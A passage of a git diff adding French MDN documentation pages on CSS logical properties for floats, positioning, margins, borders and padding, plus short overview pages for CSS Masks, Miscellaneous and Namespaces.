+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties/Propriétés_logiques_marges_bordures_remplissages">Les propriétés logiques utiles aux marges, bordures et remplissage (<em>padding</em>)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties/Propriétés_logiques_flottements_positionnement">Les propriétés logiques utiles aux flottements et au positionnement</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_générale">Compatibilité générale</h2>
+
+<p>De façon générale :</p>
+
+<ul>
+ <li>Firefox prend en charge les propriétés logiques lorsqu'il existe une correspondance directe avec les propriétés physiques.</li>
+ <li>Idem pour Chrome à partir de la version 69.</li>
+ <li>Edge ne prend actuellement (décembre 2018) pas en charge ces propriétés.</li>
+ <li>Firefox 66 introduit la prise en charge de deux valeurs raccourcies qui sont également derrière un <em>flag</em> pour Chrome.</li>
+</ul>
+
+<p>Pour des informations précises sur chaque propriété, se référer au tableau de compatibilité des pages des propriétés.</p>
diff --git a/files/fr/web/css/css_logical_properties/propriétés_logiques_flottements_positionnement/index.html b/files/fr/web/css/css_logical_properties/propriétés_logiques_flottements_positionnement/index.html
new file mode 100644
index 0000000000..3a99d5bbad
--- /dev/null
+++ b/files/fr/web/css/css_logical_properties/propriétés_logiques_flottements_positionnement/index.html
@@ -0,0 +1,143 @@
+---
+title: Propriétés logiques pour les flottements et le positionnement
+slug: Web/CSS/CSS_Logical_Properties/Propriétés_logiques_flottements_positionnement
+tags:
+  - CSS
+  - Guide
+  - Propriété logique
+translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="https://drafts.csswg.org/css-logical/">La spécification sur les propriétés et valeurs logiques</a> définit des valeurs logiques qui correspondent aux valeurs physiques utilisées pour {{cssxref("float")}} et {{cssxref("clear")}}. Elle définit aussi des propriétés logiques pour le positionnement lorsqu'on utilise une <a href="/fr/docs/Web/CSS/CSS_Positioning">disposition positionnée</a>. Dans ce guide, nous verrons comment utiliser ces valeurs et ces propriétés logiques.</p>
+
+<h2 id="Correspondance_entre_les_propriétés_et_les_valeurs">Correspondance entre les propriétés et les valeurs</h2>
+
+<p>Le tableau ci-après définit les propriétés et les valeurs que nous verrons dans ce guide et la correspondance avec les propriétés et valeurs physiques si on utilisait un mode d'écriture horizontal allant de gauche à droite.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété ou valeur logique</th>
+   <th scope="col">Propriété ou valeur physique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("float")}}<code>: inline-start</code></td>
+   <td>{{cssxref("float")}}<code>: left</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("float")}}<code>: inline-end</code></td>
+   <td>{{cssxref("float")}}<code>: right</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("clear")}}<code>: inline-start</code></td>
+   <td>{{cssxref("clear")}}<code>: left</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("clear")}}<code>: inline-end</code></td>
+   <td>{{cssxref("clear")}}<code>: right</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset-inline-start")}}</td>
+   <td>{{cssxref("left")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset-inline-end")}}</td>
+   <td>{{cssxref("right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset-block-start")}}</td>
+   <td>{{cssxref("top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset-block-end")}}</td>
+   <td>{{cssxref("bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("text-align")}}<code>: start</code></td>
+   <td>{{cssxref("text-align")}}<code>: left</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("text-align")}}<code>: end</code></td>
+   <td>{{cssxref("text-align")}}<code>: right</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En plus de ces correspondances, certaines propriétés logiques raccourcies ont été ajoutées. Pour celles-ci, qui ciblent les extrêmités des axes en ligne ou de bloc, il n'y a pas de correspondance avec des propriétés physiques existantes à l'exception de {{cssxref("inset")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété logique</th>
+   <th scope="col">Objectif</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("inset-inline")}}</td>
+   <td>Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset-block")}}</td>
+   <td>Cette propriété définit simultanément les décalages pour les deux côtés situés sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("inset")}}</td>
+   <td>Cette propriété définit les valeurs des quatre décalages.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple_d'un_flottement_et_d'un_dégagement">Exemple d'un flottement et d'un dégagement</h2>
+
+<p>Les valeurs physiques utilisées avec les propriétés {{cssxref("float")}} et {{cssxref("clear")}} sont <code>left</code>, <code>right</code> et <code>both</code>. Les valeurs logiques définies par la spécification sont <code>inline-start</code> et <code>inline-end</code> et qui peuvent correspondre à <code>left</code> et <code>right</code> selon le mode d'écriture.</p>
+
+<p>Dans l'exemple ci-après, on a deux boîtes : la première flotte avec <code>float: left</code> et la deuxième avec <code>float: inline-start</code>. Si on modifie la propriété <code>writing-mode</code> pour la passer en <code>vertical-rl</code> ou si on modifie <code>direction</code> en <code>rtl</code>, on pourra voir que la première boîte flotte toujours à gauche tandis que la boîte ciblée avec <code>inline-start</code> suit la direction et le mode d'écriture.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}</p>
+
+<h2 id="Exemple_des_propriétés_inset_pour_les_dispositions_positionnées">Exemple des propriétés <code>inset</code> pour les dispositions positionnées</h2>
+
+<p>Le positionnement permet généralement de position un élément de façon relative à son bloc englobant. La plupart du temps, on décale l'objet relativement à la position qu'il aurait occupé sur le flux normal. Par le passé, on utilisait les propriétés physiques {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} et {{cssxref("left")}}.</p>
+
+<p>Ces propriétés s'utilisent avec une longueur ou avec une pourcentage relatif aux dimensions de l'écran de l'utilisateur.</p>
+
+<p>De nouvelles propriétés ont été définies dans la spécifications des propriétés logiques et permettent de positionner un élément relativement au flux du texte, quel que soit le mode d'écriture. Ces propriétés logiques sont :</p>
+
+<ul>
+ <li>{{cssxref("inset-block-start")}}</li>
+ <li>{{cssxref("inset-block-end")}}</li>
+ <li>{{cssxref("inset-inline-start")}}</li>
+ <li>{{cssxref("inset-inline-end")}}.</li>
+</ul>
+
+<p>Dans l'exemple qui suit, on utilise les propriétés <code>inset-block-start</code> et <code>inset-inline-end</code> afin de positionner la boîte bleue de façon absolue dans la zone définie par la bordure grise pointillée et qui a <code>position: relative</code>. En modifiant la propriété <code>writing-mode</code> afin d'utiliser la valeur <code>vertical-rl</code> ou en ajoutant <code>direction: rtl</code>, on pourra voir comment la boîte relative reste dans la direction du texte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}</p>
+
+<h2 id="Nouvelles_propriétés_raccourcies">Nouvelles propriétés raccourcies</h2>
+
+<p>Cette spécification définit également de nouvelles propriétés logiques qui permettent de définir deux voire quatre valeurs avec une seule déclaration. Pour ces propriétés raccourcies, il n'existe pas d'équivalence avec des propriétés physiques.</p>
+
+<ul>
+ <li>{{cssxref("inset")}} — elle permet de définir les quatre décalages avec une correspondance physique.</li>
+ <li>{{cssxref("inset-inline")}} — elle permet de définir les décalages sur l'axe en ligne</li>
+ <li>{{cssxref("inset-block")}} — elle permet de définir les décalage sur l'axe de bloc</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Les navigateurs n'ont, pour l'instant, pas implémenté ces nouvelles propriétés (décembre 2018). Pour plus d'informations sur la compatibilité des navigateurs, vous pouvez vous référer aux tableaux de compatibilité présents à la fin des pages de référence pour ces propriétés.</p>
+</div>
+
+<h2 id="Exemple_de_valeurs_logiques_pour_text-align">Exemple de valeurs logiques pour <code>text-align</code></h2>
+
+<p>La propriété {{cssxref("text-align")}} peut s'utiliser avec quatre valeurs logiques qui sont relatives à la direction du texte. Plutôt que d'utiliser <code>left</code> et <code>right</code>, on pourra utiliser <code>start</code> et <code>end</code>. Dans l'exemple suivant, on définit <code>text-align: right</code> pour le premier bloc et <code>text-align: end</code> pour le second.</p>
+
+<p>Si on modifie la valeur de <code>direction</code> pour la passer à <code>rtl</code>, on verra que le premier bloc restera aligné à droite tandis que le texte du second s'alignera sur la fin logique.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}</p>
+
+<p>Le comportement d'ensemble est plus cohérent lorsqu'on utilise des alignements de boîtes logiques (<code>start</code> et <code>end</code>) plutôt que des alignements basés sur les directions physiques.</p>
diff --git a/files/fr/web/css/css_logical_properties/propriétés_logiques_marges_bordures_remplissages/index.html b/files/fr/web/css/css_logical_properties/propriétés_logiques_marges_bordures_remplissages/index.html
new file mode 100644
index 0000000000..8b4da0bce6
--- /dev/null
+++ b/files/fr/web/css/css_logical_properties/propriétés_logiques_marges_bordures_remplissages/index.html
@@ -0,0 +1,297 @@
+---
+title: 'Propriétés logiques pour les marges, les bordures et les remplissages'
+slug: >-
+  Web/CSS/CSS_Logical_Properties/Propriétés_logiques_marges_bordures_remplissages
+tags:
+  - CSS
+  - Guide
+  - Propriété logique
+translation_of: Web/CSS/CSS_Logical_Properties/Margins_borders_padding
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">La spécification <a href="https://drafts.csswg.org/css-logical/">sur les propriétés et valeurs logiques</a> définit des correspondances pour les propriétés servant à définir les marges, les bordures et les remplissages (<em>padding</em>) et les propriétés raccourcies associées. Dans ce guide, nous verrons comment utiliser ces propriétés logiques.</p>
+
+<p>Si vous avez consulté la page principale sur <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">les propriétés et valeurs logiques</a>, vous avez pu voir une grande quantité de propriétés. Cela est principalement du au fait que pour chaque marge, bordure et remplissage, il y a quatre propriétés détaillées et une propriété raccourcie.</p>
+
+<h2 id="Correspondances_pour_les_marges_les_bordures_et_les_remplissages_(padding)">Correspondances pour les marges, les bordures et les remplissages (<em>padding</em>)</h2>
+
+<p>La spécification détaille les correspondances entre les valeurs logiques et les valeurs physiques. Dans le tableau qui suit,on liste les correspondances lorsque le mode d'écriture utilisé est <code>horizontal-tb</code> et où la direction du texte va de gauche à droite. L'axe en ligne est donc horizontal, dirigé de gauche à droite et {{cssxref("margin-inline-start")}} est équivalent à {{cssxref("margin-left")}}.</p>
+
+<p>Si on avait utilisé un mode d'écriture <code>horizontal-tb</code> orienté de droite à gauche, {{cssxref("margin-inline-start")}} aurait correspondu à {{cssxref("margin-right")}}. Pour un mode d'écriture vertical, elle aurait correspondu à {{cssxref("margin-top")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété logique</th>
+   <th scope="col">Propriété physique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("border-block-end")}}</td>
+   <td>{{cssxref("border-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-color")}}</td>
+   <td>{{cssxref("border-bottom-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-style")}}</td>
+   <td>{{cssxref("border-bottom-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-width")}}</td>
+   <td>{{cssxref("border-bottom-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start")}}</td>
+   <td>{{cssxref("border-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-color")}}</td>
+   <td>{{cssxref("border-top-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-style")}}</td>
+   <td>{{cssxref("border-top-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-width")}}</td>
+   <td>{{cssxref("border-top-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end")}}</td>
+   <td>{{cssxref("border-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-color")}}</td>
+   <td>{{cssxref("border-right-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-style")}}</td>
+   <td>{{cssxref("border-right-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-width")}}</td>
+   <td>{{cssxref("border-right-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start")}}</td>
+   <td>{{cssxref("border-left")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-color")}}</td>
+   <td>{{cssxref("border-left-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-style")}}</td>
+   <td>{{cssxref("border-left-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-width")}}</td>
+   <td>{{cssxref("border-left-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-start-start-radius")}}</td>
+   <td>{{cssxref("border-top-left-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-start-end-radius")}}</td>
+   <td>{{cssxref("border-bottom-left-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-end-start-radius")}}</td>
+   <td>{{cssxref("border-top-right-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-end-end-radius")}}</td>
+   <td>{{cssxref("border-bottom-right-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block-end")}}</td>
+   <td>{{cssxref("margin-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block-start")}}</td>
+   <td>{{cssxref("margin-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline-end")}}</td>
+   <td>{{cssxref("margin-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline-start")}}</td>
+   <td>{{cssxref("margin-left")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block-end")}}</td>
+   <td>{{cssxref("padding-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block-start")}}</td>
+   <td>{{cssxref("padding-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline-end")}}</td>
+   <td>{{cssxref("padding-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline-start")}}</td>
+   <td>{{cssxref("padding-left")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>De nouvelles propriétés raccourcies sont également apparues et permettent de manipuler les deux extrêmités d'un même axe. Ces propriétés raccourcies n'ont pas de propriété physique équivalente.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Objectif</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("border-block")}}</td>
+   <td>Définit {{cssxref("border-color")}}, {{cssxref("border-style")}} et {{cssxref("border-width")}} pour les deux bordures sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-color")}}</td>
+   <td>Définit <code>border-color</code> pour les deux bordures sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-style")}}</td>
+   <td>Définit <code>border-style</code> pour les deux bordures sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-width")}}</td>
+   <td>Définit <code>border-width</code> pour les deux bordures sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline")}}</td>
+   <td>Définit <code>border-color</code>, <code>-style</code> et <code>-width</code> pour les deux bordures sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-color")}}</td>
+   <td>Définit <code>border-color</code> pour les deux bordures sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-style")}}</td>
+   <td>Définit <code>border-style</code> pour les deux bordures sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-width")}}</td>
+   <td>Définit <code>border-width</code> pour les deux bordures sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block")}}</td>
+   <td>Défnit les deux marges sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline")}}</td>
+   <td>Défnit les deux marges sur l'axe en ligne.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block")}}</td>
+   <td>Définit le remplissage (<em>padding</em>) sur l'axe de bloc.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline")}}</td>
+   <td>Définit le remplissage (<em>padding</em>) sur l'axe en ligne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples_de_marges">Exemples de marges</h2>
+
+<p>Les quatre propriétés logiques {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}} et {{cssxref("margin-inline-end")}} peuvent être utilisées à la place des propriétés physiques habituelles afin de définir une marge.</p>
+
+<p>Dans l'exemple qui suit, on a créé deux boîtes et définit une marge différente pour chaque côté. On a aussi ajouté un conteneur supplémentaire avec une bordure afin de mieux visualiser la bordure.</p>
+
+<p>Une boîte utilise les propriétés physiques et la seconde les propriétés logiques. Vous pouvez modifier la valeur de la propriété {{cssxref("direction")}} (la changer en <code>rtl</code> par exemple) : la première boîte conservera les mêmes marges tandis que la seconde verra ses marges en ligne échangées.</p>
+
+<p>Vous pouvez également modifier la propriété <code>writing-mode</code> pour la passer de <code>horizontal-tb</code> à <code>vertical-rl</code>. Là aussi, vous pourrez voir les marges rester les mêmes pour la première boîte et passer d'un côté à l'autre pour la seconde.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/margin-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Propriétés_raccourcies_pour_les_marges">Propriétés raccourcies pour les marges</h3>
+
+<p>Avec les propriétés logiques, on peut définir les deux côtés en ligne et les deux côtés en bloc à l'aide d'une propriété et on a donc de nouvelles propriétés raccourcies : {{cssxref("margin-inline")}} et {{cssxref("margin-block")}}. Ces deux propriétés s'utilisent avec deux valeurs : la première sera appliquée au côté du début pour l'axe et la deuxième au côté de fin. Si une seule valeur est utilisée, elle sera appliquée aux deux côtés.</p>
+
+<p>Avec un mode d'écriture horizontal, cette déclaration CSS appliquerait une marge de 5 pixels sur le côté haut de la boîte et une marge de 10 pixels sur le bas de la boîte.</p>
+
+<pre class="brush: css">.box {
+  margin-block: 5px 10px;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Ces propriétés raccourcies, <code>margin-inline</code> et <code>margin-block</code>, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.</p>
+</div>
+
+<h2 id="Exemples_pour_le_remplissage">Exemples pour le remplissage</h2>
+
+<p>Pour le remplissage, ce sont les propriétés logiques {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}} et {{cssxref("padding-inline-end")}} qui ont été ajoutées et qui peuvent être utilisées en lieu et place de leur équivalent physique.</p>
+
+<p>Dans l'exemple suivant, on dispose de deux boîtes, la première possède des remplissages définis avec des propriétés physiques et la seconde avec des propriétés logiques. En utilisant un mode d'écriture <code>horizontal-tb</code>, les deux boîtes auront la même apparence.</p>
+
+<p>En modifiant la propriété <code>direction</code> avec la valeur <code>rtl</code>, les boîtes seront affichées de droite à gauche. Le remplissage de la première boîte restera à la même place et celui de la deuxième boîte changera de côté.</p>
+
+<p>Vous pouvez aussi modifier la valeur de la propriété <code>writing-mode</code> pour la passer de <code>horizontal-tb</code> à <code>vertical-rl</code>. Là encore, rien ne change pour la première boîte mais pour la seconde, les remplissages se trouvent échangés.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/padding-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Propriétés_raccourcies_pour_le_remplissage">Propriétés raccourcies pour le remplissage</h3>
+
+<p>À l'instar des marges, deux propriétés raccourcies ont été ajoutées {{cssxref("padding-inline")}} et {{cssxref("padding-block")}}. Elles permettent, respectivement, de définir le remplissage pour les deux côtés sur l'axe en ligne et sur l'axe en bloc.</p>
+
+<p>Avec un mode d'écriture horizontal, cette déclaration CSS appliquera un remplissage de <code>5px</code> sur le haut de la boîte et un remplissage de 10 pixels en bas de la boîte :</p>
+
+<pre class="brush: css">.box {
+  padding-block: 5px 10px;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Ces propriétés raccourcies, <code>padding-inline</code> et <code>padding-block</code>, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.</p>
+</div>
+
+<h2 id="Exemples_pour_les_bordures">Exemples pour les bordures</h2>
+
+<p>Les propriétés relatives aux bordures fournissent une grande quantité de propriétés tant logiques que physiques (pour la couleur, la largeur, le style, pour chaque côté, pour les propriétés raccourcies). De la même façon qu'on a des équivalences avec les propriétés physiques pour les marges et les remplissages, on a également des propriétés logiques pour les bordures.</p>
+
+<p>L'exemple ci-après utilise certaines propriétés détaillées et propriétés raccourcies. Comme précédemment, vous pouvez modifier les valeurs des propriétés <code>direction</code> et <code>writing-mode</code> pour observer les impacts.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/border-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Propriétés_raccourcies_pour_les_bordures">Propriétés raccourcies pour les bordures</h3>
+
+<p>Il y a des propriétés raccourcies avec deux valeurs pour paramétrer la largeur, le style et la couleur de la bordure pour les côtés sur l'axe en ligne ou pour les côtés sur l'axe de bloc. Le fragment de code qui suit, si on l'utilise avec un mode d'écriture horizontal, fournira une bordure verte de 2 pixels sur un trait plein en haut et en bas de la boîte et une bordure pointillée violette de 4 pixels sur les côtés gauche et droit.</p>
+
+<pre class="brush: css">.box {
+  border-block: 2px solid green;
+  border-inline-width: 4px;
+  border-inline-style: dotted;
+  border-inline-color: rebeccapurple;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Ces propriétés raccourcies, <code>border-inline</code> et <code>border-block</code>, ont été implémentées avec Firefox 66. Elles restent relativement nouvelles et mieux vaut donc vérifier la compatibilité navigateur avant de les utiliser.</p>
+</div>
+
+<h3 id="Propriétés_pour_les_courbures_des_bordures_relatives_au_flux">Propriétés pour les courbures des bordures relatives au flux</h3>
+
+<p>La spécification a également ajouté des propriétés relatives au flux pour les propriétés détaillées associées à {{cssxref("border-radius")}}. Ces propriétés n'ont pas encore (décembre 2018) été implémentées par les différents navigateurs. L'exemple qui suit, avec un mode d'écriture horizontal, fournira une bordure en haut à droite avec un rayon de courbure de 1em, une bordure en bas à droite sans rayon de courbure, une bordure en bas à gauche avec un rayon de courbure de 20 pixels et une bordure courbée avec un rayon de 40 pixels pour le coin supérieur gauche.</p>
+
+<pre class="brush: css">.box {
+  border-end-start-radius: 1em;
+  border-end-end-radius: 0;
+  border-start-end-radius: 20px;
+  border-start-start-radius: 40px;
+}</pre>
+
+<h2 id="Utiliser_les_valeurs_logiques_avec_les_propriétés_raccourcies_classiques">Utiliser les valeurs logiques avec les propriétés raccourcies classiques</h2>
+
+<p>La spécification définit une suggestion qui pourrait être utilisée afin de manipuler les propriétés raccourcies (<code>margin</code> par exemple) avec des valeurs logiques. Toutefois, le consensus n'a pas encore été atteint sur la résolution de ce point et est discuté au travers de <a href="https://github.com/w3c/csswg-drafts/issues/1282">cette <em>issue</em></a>.</p>
+
+<p>À l'heure actuelle (décembre 2018), les propriétés raccourcies <code>margin</code>, <code>padding</code> et <code>border</code> ne fonctionent qu'avec les valeurs physiques. Aussi, si respecter le flux du document est primordial et que vous devez utiliser les valeurs logiques, vous devrez recourir aux propriétés détaillées afin d'utiliser les valeurs logiques.</p>
diff --git a/files/fr/web/css/css_masks/index.html b/files/fr/web/css/css_masks/index.html
new file mode 100644
index 0000000000..ea2a9afeb5
--- /dev/null
+++ b/files/fr/web/css/css_masks/index.html
@@ -0,0 +1,66 @@
+---
+title: CSS Masks
+slug: Web/CSS/CSS_Masks
+tags:
+  - Aperçu
+  - CSS
+  - CSS Masking
+  - Reference
+translation_of: Web/CSS/CSS_Masking
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Masking</strong></em> (ou « masques CSS ») est un module CSS qui définit les moyens, dont les masques et le <em>clipping</em>, pour dissimuler des parties d'éléments visuels, partiellement ou en totalité.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("clip")}} {{deprecated_inline}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("clip-rule")}}</li>
+ <li>{{cssxref("mask")}}</li>
+ <li>{{cssxref("mask-border")}}</li>
+ <li>{{cssxref("mask-border-mode")}}</li>
+ <li>{{cssxref("mask-border-outset")}}</li>
+ <li>{{cssxref("mask-border-repeat")}}</li>
+ <li>{{cssxref("mask-border-slice")}}</li>
+ <li>{{cssxref("mask-border-source")}}</li>
+ <li>{{cssxref("mask-border-width")}}</li>
+ <li>{{cssxref("mask-clip")}}</li>
+ <li>{{cssxref("mask-composite")}}</li>
+ <li>{{cssxref("mask-image")}}</li>
+ <li>{{cssxref("mask-mode")}}</li>
+ <li>{{cssxref("mask-origin")}}</li>
+ <li>{{cssxref("mask-position")}}</li>
+ <li>{{cssxref("mask-repeat")}}</li>
+ <li>{{cssxref("mask-size")}}</li>
+ <li>{{cssxref("mask-type")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_miscellaneous/index.html b/files/fr/web/css/css_miscellaneous/index.html
new file mode 100644
index 0000000000..45e4685f89
--- /dev/null
+++ b/files/fr/web/css/css_miscellaneous/index.html
@@ -0,0 +1,31 @@
+---
+title: CSS Miscellaneous
+slug: Web/CSS/CSS_Miscellaneous
+tags:
+  - Aperçu
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Miscellaneous
+---
+<div>{{CSSRef}}</div>
+
+<p>Cette page regroupe des propriétés CSS qui sont hautement expérimentales ou qui ne rentrent dans aucune autre catégorie.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("all")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Ces propriétés n'ont pour la plupart pas de lien entre elles, consultez leur pages respectives pour connaître leurs spécifications.</em></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p><em>Ces propriétés n'ont pour la plupart pas de lien entre elles, consultez leurs pages respectives pour connaître leur disponibilité dans les navigateurs.</em></p>
diff --git a/files/fr/web/css/css_namespaces/index.html b/files/fr/web/css/css_namespaces/index.html
new file mode 100644
index 0000000000..84e14d0937
--- /dev/null
+++ b/files/fr/web/css/css_namespaces/index.html
@@ -0,0 +1,50 @@
+---
+title: CSS Namespaces
+slug: Web/CSS/CSS_Namespaces
+tags:
+  - Aperçu
+  - CSS
+  - CSS Namespaces
+  - Reference
+translation_of: Web/CSS/CSS_Namespaces
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Namespaces</strong></em> (ou « espaces de noms CSS ») est un module CSS qui permet aux auteurs de spécifier des <a href="/en-US/docs/Namespaces">espaces de noms XML</a> en CSS.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@namespace")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Namespaces")}}</td>
+   <td>{{Spec2("CSS3 Namespaces")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="namespace"><code>@namespace</code></h3>
+
